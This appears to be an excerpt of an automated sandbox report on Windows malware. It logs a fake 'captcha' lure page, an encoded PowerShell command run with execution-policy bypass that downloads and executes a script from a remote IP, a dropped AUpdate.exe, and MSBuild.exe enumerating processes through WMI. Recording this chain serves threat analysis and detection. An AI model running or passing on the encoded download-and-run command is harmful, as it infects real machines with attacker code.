Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5908
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1964
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 584
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1368
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 972
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1756
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2740
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5528
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6284
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5884
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1352
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7064
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3516
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6076
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2920
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7056
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 356
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4292
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6416
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2516
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1136
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2316
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 344
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5384
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2508
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2112
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1520
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5736
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 728
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 924
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2892
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1512
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2888
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6236
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4068
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2688
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3672
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6624
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2284
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1688
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 520
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 108
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 8184
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 664
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1676
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4236
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6844
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7628
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 4144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1076
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5212
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3832
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5168
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 512
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1068
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3628
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 5396
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1848
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 1452
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 2632
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3372
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3416
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 656
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 3800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 6900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT CommandLine FROM Win32_Process WHERE ProcessId = 7488

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2184 --field-trial-handle=1948,i,5144366467434062869,11298283985796997681,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://cta.berlmember.com/google/captcha.html"
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -win 1 -ep bypass -noni -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADQANQAuADYAMQAuADEANQA3AC4AMgAwADUALwBmADEALwByAGUAZAAnACkAIAB8ACAASQBFAHgA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe "C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe"
Source: C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2184 --field-trial-handle=1948,i,5144366467434062869,11298283985796997681,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe "C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe	Section loaded: msocf.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe	Section loaded: oisapp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MaxiAir\AUpdate.exe	Section loaded: oisgraph.dll	Jump to behavior
